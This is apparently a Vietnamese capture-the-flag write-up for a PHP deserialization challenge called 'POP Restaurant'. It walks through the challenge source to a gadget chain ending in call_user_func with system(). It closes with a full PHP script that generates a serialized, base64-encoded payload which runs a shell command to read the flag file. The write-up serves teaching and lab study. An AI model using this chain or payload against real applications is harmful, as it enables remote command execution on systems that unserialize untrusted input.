# POP Restaurant
> Tags: PHP Deserialization
> Difficulty: Easy
## Phân tích source code
* File PizzaModel.php
```php
<?php
class Pizza
{
public $price;
public $cheese;
public $size;
public function __destruct()
{
echo $this->size->what;
}
}
```
Phương thức `__destruct()` trong Class Pizza sẽ tự động được gọi khi chương trình kết thúc và đối tượng của lớp Pizza bị hủy.
Lúc này, dòng lệnh `echo $this->size->what` sẽ truy cập vào thuộc tính `what` của một Object được lưu trong trong thuộc tính `size`
Ví dụ:
```Json=
O:5:"Pizza":3:{
s:5:"price";N;
s:6:"cheese";N;
s:4:"size";
O:6:"Object":1:{
s:4:"what";s:4:"hehe";
}
}
```
------
* File SpaghettiModel.php
```php=
<?php
class Spaghetti
{
public $sauce;
public $noodles;
public $portion;
public function __get($tomato)
{
($this->sauce)();
}
}
```
Function `__get()` là một magic method trong PHP, nó sẽ được gọi khi truy cập vào một thuộc tính không tồn tại của một Object
Dòng `($this->sauce)();` sẽ thực hiện lấy giá trị của thuộc tính `$sauce` và thực thi nó như một hàm.
----
* File IceCream
```php
<?php
class IceCream
{
public $flavors;
public $topping;
public function __invoke()
{
foreach ($this->flavors as $flavor) {
echo $flavor;
}
}
}
```
Function `__invoke()` khi thuộc một đối tượng thì đối tượng đó có thể gọi như một hàm.
Vòng lặp `foreach` sẽ thực hiện duyệt qua mảng `$this-flavors` , mỗi lần lặp sẽ in ra 1 giá trị của `$flavors`
Ngoài ra, tại `order.php` có xuất hiện hàm `unserialize()`
```php=
<?php
error_reporting(0);
require_once 'Helpers/ArrayHelpers.php';
require_once 'Helpers/CheckAuthentication.php';
require_once 'Models/PizzaModel.php';
require_once 'Models/IceCreamModel.php';
require_once 'Models/SpaghettiModel.php';
require_once 'Models/DatabaseModel.php';
isAuthenticated();
$username = $_SESSION['username'];
$id = $_SESSION['id'];
$db = new Database();
$order = unserialize(base64_decode($_POST['data']));
$foodName = get_class($order);
$result = $db->Order($id,$foodName);
if ($result) {
header("Location: index.php");
die();
} else {
$errorInfo = $stmt->errorInfo();
die("Error executing query: " . $errorInfo[2]);
}
```
Hàm `unserialize()` xử lý trực tiếp dữ liệu được cung cấp qua trường `$POST['data']`. Bằng cách gửi một chuỗi Object được chế tạo đặc biệt, attacker có thể khai thác các logic nguy hiểm trong phương thức `__destruct`
<font color="#E46B6B">--> Lỗ hổng Derserilization</font>
## Xây dựng Gadget Chain
Thuộc tính `what` (được gọi thông qua `$this->size`) trong `PizzaModel.php` là một thuộc tính tự định nghĩa, và trong source code mà challenge cùng cấp, không có class nào có thuộc tính này.

Vì là thuộc tính không tồn tại nên khi truy cập `$what` nó sẽ gọi `__get()` (nếu đối tượng có func này)
Trong `SpaghettyModel.php`, function `__get()` sẽ thực hiện gọi thuộc tính `$sauce` như một hàm.

Ta có chain sau: `Pizza(__destruct()) --> Spaghetti(__get())`, chuyển từ việc truy cập thuộc tính sang thực thi hàm.
```
# Ví dụ chuỗi Serialization
O:5:"Pizza":3: {
s:5:"price"; N;
s:6:"cheese"; N;
s:4:"size"; O:9:"Spaghetti":3: {
s:5:"sauce"; N;
s:7:"noodles"; N;
s:7:"portion"; N;
}
}
```
`($this->sauce()` sẽ là tên của một hàm hoặc một đối tượng có phương thức `__invoke()`
Nhưng `($this->sauce)()` chỉ gọi mà không truyền được đối số nên việc gọi hàm như `system` sẽ không khả thi. Vậy chỉ có thể gọi đối tượng có phương thức `__invoke()`
Và phương thức này có mặt trong `IceCreamModel.php`.
Chain `Pizza::__destruct() --> Spaghetti::__get() --> IceCream::__invoke()`

Vòng lặp `foreach` thực hiện lặp qua các Iterator.
"Iterator là một mẫu thiết kế hành vi cho phép duyệt tuần tự qua một cấu trúc dữ liệu phức tạp mà không làm lộ các chi tiết bên trong của nó."
Chúng ta phải tìm các `Iterator` có sẵn trong PHP có hành vi đọc file trên hệ thống.
Ví dụ [SplFileObject](https://www.php.net/manual/en/class.splfileobject.php)
```
# Ví dụ dạng payload
O:5:"Pizza":3: {
s:5:"price"; N;
s:6:"cheese"; N;
s:4:"size"; O:9:"Spaghetti":3: {
s:7:"noodles"; N;
s:7:"portion"; N;
s:5:"sauce"; O:8:"IceCream":2: {
s:7:"flavors"; O:12:"SplFileObject":1: {
s:9:"/flag.txt";
}
s:7:"topping"; N;
}
}
}
```
Nhưng `SplFileObject` mặc định không được phép serialize.

-----
Một hướng đi khác, trong `ArrayHelpers.php`, có:
```php
<?php
namespace Helpers{
use \ArrayIterator;
# kế thừa ArrayIterator --> có thể duyệt bằng vòng lặp
class ArrayHelpers extends ArrayIterator
{
public $callback;
public function current()
{
# Lấy giá tị phần tử hiện tại trong mảng
$value = parent::current();
# gọi hàm được định nghĩa từ $callback và truyền tham số $value
# Lỗ hổng xuất hiện ở đây.
$debug = call_user_func($this->callback, $value);
return $value;
}
}
}
```
PHP Docs định nghĩa hàm [call_user_func](https://www.php.net/manual/en/function.call-user-func.php)
Có thể gán `$this->callback` = `system()` với tham số truyền vào là `$value`
Vì `ArrayHelpers` kế thừa `ArrayIterator`, mà `ArrayIterator` được khởi tạo bằng cách truyền vào một mảng

nên có thể viết như sau:
> `$array_helper = new ArrayHeplers([$command])`
Lúc này `parent::current()` sẽ là phần tử (string) tại index = 0 của array `$command`
Gán `$this->flavors` = `ArrayHelpers`
Vòng lặp `foreach` sẽ tương đương:
```
foreach ($this->flavors as $flavor)
|
|
foreach (ArrayHelpers as $flavor)
```
Khi vòng lặp được duyệt và truy cập phần tử đầu tiên, phương thức `current()` sẽ được gọi và thực hiện `$debug = call_user_func($this->callback, $value);`
Hay `call_user_func(system(), $command[i])`

Gadgets Chain cuối cùng:
`Pizza::__destruct() --> Spaghetti::__get() --> IceCream::__invoke() --> ArrayHelpers::current()`
---
Payload:
```php
<?php
namespace Helpers {
class ArrayHelpers extends \ArrayIterator {
public $callback;
}
}
namespace {
use Helpers\ArrayHelpers;
class Pizza {
public $price;
public $cheese;
public $size;
}
class Spaghetti {
public $sauce;
public $noodles;
public $portion;
}
class IceCream {
public $flavors;
public $topping;
}
$func = 'system';
$command = 'cat /YV6w6zJy7EAl_flag.txt';
$helpers = new ArrayHelpers([$command]);
$helpers->callback = $func;
$iceCream = new IceCream();
$iceCream->flavors = $helpers;
$spaghetti = new Spaghetti();
$spaghetti->sauce = $iceCream;
$pizza = new Pizza();
$pizza->size = $spaghetti;
echo "--- Raw Payload ---\n";
echo serialize($pizza) . "\n";
echo "--- Base64 Payload ---\n";
echo base64_encode(serialize($pizza));
}
?>
```
Gửi payload, ta sẽ lấy được Flag
